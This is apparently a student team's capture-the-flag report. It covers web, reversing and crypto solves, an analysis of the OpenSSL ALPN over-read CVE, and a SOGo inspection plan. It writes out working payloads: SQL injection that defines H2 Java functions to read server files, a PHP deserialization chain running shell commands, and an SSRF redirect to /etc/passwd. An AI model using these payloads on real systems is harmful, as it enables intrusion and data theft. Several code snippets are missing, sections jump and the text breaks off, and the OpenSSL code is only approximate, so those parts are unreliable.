Mohammed Ali Al-Saiaf - 310320
Nokha Temarbulatov - 310576
Nico Roth - 302552
Capture the Flag
Challenge 1 (Web) ~ Mohammed
We began by signing up on the BCACTF platform and navigating to the Web category of the challenges. The first challenge asked us to find the administrator’s email address and submit it in the format bcactf{...}. The challenge linked to the website:
http://challs.bcactf.com:42593
On the page, we found a list of people with their names, usernames (included as HTML comments), and Gravatar profile images. After inspecting the page source, we came across this snippet:
This was the only user with the username “administrator”, so we focused on the Gravatar image. Gravatar uses MD5 hashes of email addresses to generate profile URLs, so we took the hash 06003dfd18a22e6809e736cf27eaabb6 and submitted it to an online hash lookup tool at https://hashes.com/en/decrypt/hash.
The hash resolved to the email address: mari_13_93@example.com
We wrapped it in the required format and submitted the flag:
bcactf{mari_13_93@example.com}
This successfully completed the challenge.
Challenge 2 (Web) ~ Mohammed
One of the challenges asked us to find out when the page was compiled, and to submit the answer in a specific format. The website provided for the challenge was:
http://challs.bcactf.com:26137
When we visited the page, we noticed that it was a broken SvelteKit application. It was attempting to load JavaScript modules from the _app/immutable/ directory, but all of them were blocked by the browser due to an incorrect MIME type. Specifically, the server was returning a Content-Type: text/plain, which modern browsers block when loading ES modules.
To investigate further, we opened Burp Suite and used the Match and Replace feature under Proxy > Options to automatically insert the correct MIME type into all responses. Since there was no Content-Type header at all, we configured a rule to inject:
Content-Type: application/javascript
Once this fix was in place, the browser was able to load the JavaScript files without issue.
We then inspected the JavaScript modules being loaded. In one of the files, we found the following piece of code:
const en = ((oe = globalThis.__sveltekit_1kkkrww) == null ? void 0 : oe.assets) ?? x, nn = "1735776187591"...
Among these variables, the one named nn contained a long number: 1735776187591. This stood out, and after converting it, we realized it was a Unix timestamp in milliseconds. That made sense as the answer to the challenge, which was to determine when the page was compiled.
We submitted the timestamp as the flag:
bcactf{1735776187591}
And it was accepted.
Challenge 3 (Rev) ~ Mohammed
We were presented with a challenge:
“I found a suspicious program on my computer. Apparently it’s NOT malware? I want you to help me check this out, can you help me out?” Hint: what is a popular tool used to check for viruses?
We downloaded the mystery executable and began by:
Inspecting its contents
Ran basic strings and looked for suspicious indicators.
No obvious malicious code or clear text strings stood out.
Attempting to execute it in a sandbox
Launched it in a disposable VM.
Observed no network activity or file changes.
Still nothing flagged it as malware. The hint pointed us toward virus-checking tools. First we tried:
Local AV scan with ClamAV
Installed clamav and ran clamscan on the file.
ClamAV returned no detections.
Since ClamAV didn’t identify anything, we googled for a more comprehensive, multi-engine scanner and found VirusTotal. We:
Uploaded the file to VirusTotal
Examined the “Names” and “Comments” fields from dozens of engines.
Those vendor names included a hidden message, which we extracted to reveal the flag:
bcactf{wtf_fake_malware_thx_virustotal}
Challenge 4 (Web) ~ Nokha
This part of the challenge was in a new even called involuntaryCTF
We visited the unwinnable lottery page, which validates only that your input is numeric, then does:
Inspecting this revealed the server never generated or verified its own random value, it simply trusted the client’s number.
In the browser console we bypassed the UI and sent matching fields directly:
The challenge presented us with a Spring Boot web application for managing pentest notes at https://app.hackthebox.com/challenges/Pentest%2520Notes. We analyzed the source code and found a SQL injection vulnerability in the /api/note endpoint.
The vulnerable code in NotesController.java used direct string concatenation:
String query = String.format("Select * from notes where name ='%s' ", name);
We logged in using the default credentials from data.sql (user:123) and tested the SQL injection with a basic payload:
' UNION SELECT 1,2,3 --
This confirmed the vulnerability worked. We identified the database as H2 version 2.2.224 using:
' UNION SELECT 1, H2VERSION(), 3 --
Since H2 supports Java integration, we created a custom function to list directory contents:
'; CREATE ALIAS IF NOT EXISTS LIST_FILES AS 'String listFiles(String path) { java.io.File f = new java.io.File(path); String[] files = f.list(); return java.util.Arrays.toString(files); }'; --
We then used this function to discover files in the root directory:
' UNION SELECT 1, LIST_FILES('/'), 3 --
This revealed the randomized flag filename: JN8fe3XRqTYK_flag.txt. Next, we created another Java alias to read file contents:
'; CREATE ALIAS IF NOT EXISTS READ_FILE AS 'String readFile(String path) throws Exception { java.io.BufferedReader br = new java.io.BufferedReader(new java.io.FileReader(path)); String line; StringBuilder sb = new StringBuilder(); while ((line = br.readLine()) != null) { sb.append(line); } br.close(); return sb.toString(); }'; --
Finally, we read the flag file:
' UNION SELECT 1, READ_FILE('/JN8fe3XRqTYK_flag.txt'), 3 --
This returned the flag: HTB{y0u_w1ll_n33d_a_ch3ckl1st_f0r_sUr3}
The vulnerability chain exploited SQL injection combined with H2’s Java integration to achieve file system access and flag retrieval.
Challenge 6 (Crypto) ~ Nokha
The challenge (also in InvoluntaryCTF) presented us with a ciphertext and a hint to decode it:
This was scrawled on the walls of the crypt. Decode it if you can.
Mxggv, umrp rp lt ntamxk uxou. Ru’p uva pxnkxu. Umrp rp umx cgdh rc tvz jdqu ru !CGDH!{Ck3fzxqnt_4q4gtprp}!CGDH!. R jvqsxk mvj tvz’kx kxdsrqh umrp rc R xqnktauxs ru, R hzxpp R’gg qxexk bqvj.
We began by visiting the dCode Cipher Identifier at
https://www.dcode.fr/cipher-identifier
and pasted the entire ciphertext into its input field. After clicking “Start Analysis,” the service examined letter frequencies, repeated patterns, and distribution metrics before suggesting that an Affine cipher was the most likely encryption method. Although Caesar and Affine results were both strong, the marginally higher score for Affine led us to treat it as our working hypothesis rather than a definitive conclusion.
To validate this hypothesis, we navigated to the dCode Affine Cipher Decrypter at
https://www.dcode.fr/affine-cipher
and switched to Decrypt mode. Using the Auto-Solve feature, the tool iterated through possible (A, B) pairs until it identified
A = 5, B = 3
as producing intelligible English. We manually confirmed that 5 and 26 are coprime, ensuring an inverse for A exists modulo 26, then applied those parameters to the affine decryption formula.
The resulting plaintext read:
Hello, this is my cypher text. It's top secret.This is the flag if you want it !FLAG!{Fr3quency_4n4lysis}!FLAG!.I wonder how you're reading this if I encrypted it, I guess I'll never know.
Challenge 7 (Web) ~ Nico
This challenge was at https://app.hackthebox.com/challenges/PDFy, which states: PDFy is a simple service that converts any user‐supplied URL into a PDF. The hint told us to leak /etc/passwd to retrieve the flag.
Both returned “Malformed url,” so non‐HTTP schemes were blocked.
We realized the backend would follow redirects, even to disallowed schemes. We wrote a minimal Flask redirector:
which gave us https://3c28-141-70-105-101.ngrok.io.
In the PDFy web form we submitted:
https://3c28-141-70-105-101.ngrok.io/
The service performed an HTTP GET to our redirector, received a 302 to file:///etc/passwd, followed it, and embedded the file’s contents into the generated PDF.
We downloaded and opened the resulting PDF, then located the flag entry in the leaked /etc/passwd:
This is a POI (PHP Object Injection) vulnerability.
Looking at the code, there’s a chain of classes (Pizza, Spaghetti, IceCream, Helpers\ArrayHelpers) with magic methods. By crafting a serialized object, we can trigger a call to any PHP function with our input.
Thebest gadget is ArrayHelpers, which lets us set a callback (like system) and pass arguments.
I made a payload to run a shell command that finds the flag: system("find / -name '*flag*.txt' -exec cat {} \; > /var/www/html/flag.txt"),
and writes it to a web-accessible file:
I registered, logged in, sent this payload to /order.php, then fetched flag.txt and got the flag:
HTB{jU5t_del1ver_m3_th3_fl4g}
At first, I tried to use the Pizza and Spaghetti chain to call file_get_contents directly, hoping the flag would show up in the HTTP response. The payload looked like this:
But the output wasn’t reflected in the response, so I switched to writing the flag to a file I could access.
Challenge 9 (Crypto) ~ Nico
The challenge in https://app.hackthebox.com/challenges/The%2520Last%2520Dance presented a ChaCha20 encryption scenario where we needed to decrypt intercepted messages to recover a hidden flag. We were given source code and encrypted output data.
We began by examining the provided source code in source.py and immediately identified a critical vulnerability in the encryptMessage function:
The function parameter is nonce, but the implementation incorrectly uses the global variable iv. This means both the known message and the flag were encrypted using identical key and nonce values, creating a nonce reuse vulnerability in the stream cipher.
In ChaCha20, when the same key-nonce pair generates identical keystreams, we get:
encrypted_message = message XOR keystream
encrypted_flag = flag XOR keystream
This allows us to eliminate the keystream by XORing the ciphertexts:
encrypted_message XOR encrypted_flag = message XOR flag
Since we know the plaintext message from the source code, we can recover the flag:
flag = (encrypted_message XOR encrypted_flag) XOR message
We implemented this attack in a python script by parsing the hex-encoded data from out.txt, converting to bytes, and applying the XOR operations. The script successfully recovered:
We choose CVE-2024-5535 (“ALPN buffer over-read”) for the deeper analysis below.
2.2 Show the Vulnerability in the source code
In OpenSSL 3.2.0 (before the June 2024 fix), the ALPN negotiation was in ssl/handshake_alpn.c. The buggy function looked roughly like:
int SSL_select_next_proto(unsigned char **out, unsigned char *outlen, const unsigned char *in, unsigned int inlen, const unsigned char *client, unsigned int clientlen){ /* ... */ if (clientlen == 0) { /* no length check: client is empty -> using client[0] below is OOB */ } /* Copy one protocol name from client into temporary buffer of size [255] */ memcpy(tmp, client, client[0] + 1); /* … */}
Because there was no check that clientlen > 0, a zero-length client buffer causes client[0] to read off the end of memory and use that (uninitialized) value as a copy length, resulting in up to 255 bytes of private memory being sent to the peer.
2.3 Show the Fix in Post-Patch Source
In the 3.2.1 release, the code was patched to validate the input length before using it:
Reject zero-length ALPN lists up front (avoids client[0] OOB).
Validate client[0] + 1 ≤ tmp_len to ensure the requested copy fits in the temporary buffer.
2.4 CWE Classification
This vulnerability is classified as CWE-125: Out-of-Bounds Read1
2.5 Lessons Learned
Always validate input length before indexing or copying buffers.
Even “corner‐case” inputs (like empty lists) must be explicitly handled, attackers (or accidental misconfigurations) can trigger them.
A fuzzer targeting ALPN/NPN APIs would have immediately caught this out-of-bounds read. Incorporating fuzz testing into the CI pipeline could have found it earlier.
Memory-safe languages or static analyzers (e.g. Coverity, AddressSanitizer) can flag OOB buffer access, especially for boundary checks like if (clientlen == 0).
Unknown Real-World Software Vulnerabilities
3.2 What are assets protected by SOGo?
Its key assets and corresponding protection goals (Confidentiality, Integrity, Authenticity, Availability) include:
Asset
Example Data
User Credentials
Login passwords, session tokens
Email Messages
Inbox/outbox content, attachments
Calendar Entries
Meeting invites, scheduling metadata
Contacts / Address Books
Personal and shared contact records
Configuration Files
IMAP/SMTP server settings, ACLs
Log Files / Audit Trails
Access logs, change history
Mobile Sync Tokens
Active sync credentials
Confidentiality: Prevent unauthorized disclosure, e.g. encrypt stored mail and TLS for transit.
Integrity: Detect/tamper via digital signatures or checksums, e.g. verify calendar entries.
Authenticity: Ensure data originates from legitimate users/systems, e.g. validated OAuth tokens.
Availability: Maintain service uptime and prevent DoS, e.g. rate-limiting on login/API calls.
3.3 Inspection Strategy
Given the size of SOGo and limited time, we adopt arisk-based, white-box inspection focusing on the modules that handle input validation, authentication, and data persistence. This approach is supported by:
Scope Definition: Identify “hotspots” by looking at modules with high coupling,e.g. router/controllers and frequent changes in version control (Source-control logs) .
Call Graph Analysis: Use available call-graph tools to trace user input flows from HTTP endpoints to database sinks .
Static Analysis Pre-Screen: Run a static code scanner, e.g. Fortify or Sonarqube to highlight high-severity issues in those hotspots .
3.4 Scope of Inspection
We narrowed inspection to:
Authentication & Session Management
This part is mostly about how logins work and how sessions are kept secure. It includes files like authenticate.* and SOGoSession*. I looked at how passwords are handled, how session cookies are set up (like whether they’re secure and have the right flags), and how tokens expire after some time.
HTTP Request Handling / Routing
Here, I focused on how SOGo processes incoming web requests. The main files are in router.* and the WebDAV folder. I checked how inputs are decoded, how paths are cleaned up (so attackers can’t trick the server), and how headers are read and processed.
Data Persistence Layers
This is all about how SOGo interacts with databases and mail storage. The relevant code is in SQLStore/* and MailStore/*. I looked at how SQL queries are built, whether values are properly bound to prevent injections, and how data is formatted when stored (like in JSON or XML).
Synchronization Endpoints
This section handles mobile and calendar syncing, like with phones or calendar apps. It includes folders like ActiveSync/* and CalDAV/*. I paid attention to how sync requests are parsed and how file attachments are managed securely.
Configuration & Access Controls
Lastly, I looked at how SOGo handles its configuration and permissions. This includes the Config/* and ACL/* folders. I focused on how access control rules are enforced and how config files are parsed to make sure they can’t be misused.
Rest of the CTF challenges
These are the challenges that we wrote but did not include in the final report. If you did not like the previous challenges, you can check these out:
Challenge 1 (Web)
We continued with the next Web challenge on BCACTF, which presented us with a form at:
http://challs.bcactf.com:47861
The form asked for two input strings and compared their MD5 hashes on the backend. We were also provided with the source code of what.php, which revealed the logic behind the challenge.
According to the code, the backend calculates the MD5 hash of both strings and checks:
That the strings are not equal
That both strings are between 5 and 100 characters
And that their MD5 hashes match
If all of those conditions were satisfied, the script would output the contents of flag.txt.
This was clearly a hash collision challenge. The goal was to find two different strings that produce the same MD5 hash, while still passing the length constraints and making sure they’re not considered equal in PHP.
We knew that MD5 is vulnerable to collision attacks and that some well-known colliding string pairs already exist. Instead of generating our own (which requires tools like fastcoll), we used two pre-existing values that are known to produce the same MD5 hash:
string1 = 240610708
string2 = QNKCDZO
Both of these have the same MD5 hash:
0e462097431906509019562988736854
And even though the hashes match, the two strings are not equal as strings, and also pass the length requirements.
We submitted these two values through the form and successfully triggered the MD5 collision logic, which revealed the flag:
bcactf{wh0_kn0ws_4nym0r3_11fab08d769a}
Challenge 2 (Web)
For the next Web challenge on BCACTF, we were given the hint:
“It’s my first time using Git. Hopefully nothing went unseen.”
And a link to the challenge:
http://challs.bcactf.com:28973
When we visited the site, the only visible content was a simple HTML page with:
<h1>Hello</h1>
There was nothing in the page source, cookies, or JavaScript. However, the hint strongly suggested that the .git directory might have been unintentionally left exposed on the server.
We tested this by accessing:
http://challs.bcactf.com:28973/.git/HEAD
and confirmed that the .git metadata was publicly accessible. This meant we could potentially reconstruct the Git repository and inspect the commit history.
To do this efficiently, we used a tool called git-dumper:
Next we reviewed the registration and login code and found this bug:
const salt = Buffer.from(user.password, 'hex').subarray(0, 17 * 2);const checkHash = sha1(Buffer.concat([salt, Buffer.from(password, 'utf-8')]));const checkHex = Buffer.alloc(17 + checkHash.length);// …copy salt and full SHA-1 hash into checkHex…
The mistake is that they call Buffer.alloc(17 + hashedPw.length), allocating only 37 bytes instead of the 54 bytes needed for a 34-byte hex salt plus 20-byte hash. As a result, only the first 3 bytes of the SHA-1 hash are ever stored or compared.
That means the login logic only verifies:
first 3 bytes of SHA1(salt + password) == stored 3 bytes
Instead of the full 20-byte digest.
So then we:
Extract the salt and target prefix
Salt (ASCII): fb359d1ab644cb0e9b6ad33d3dae37098e
Hash prefix (first 3 bytes, hex): 2236d5
Brute-force a new password
We wrote a simple Python script that, starting at “0” and counting up, computes and then got: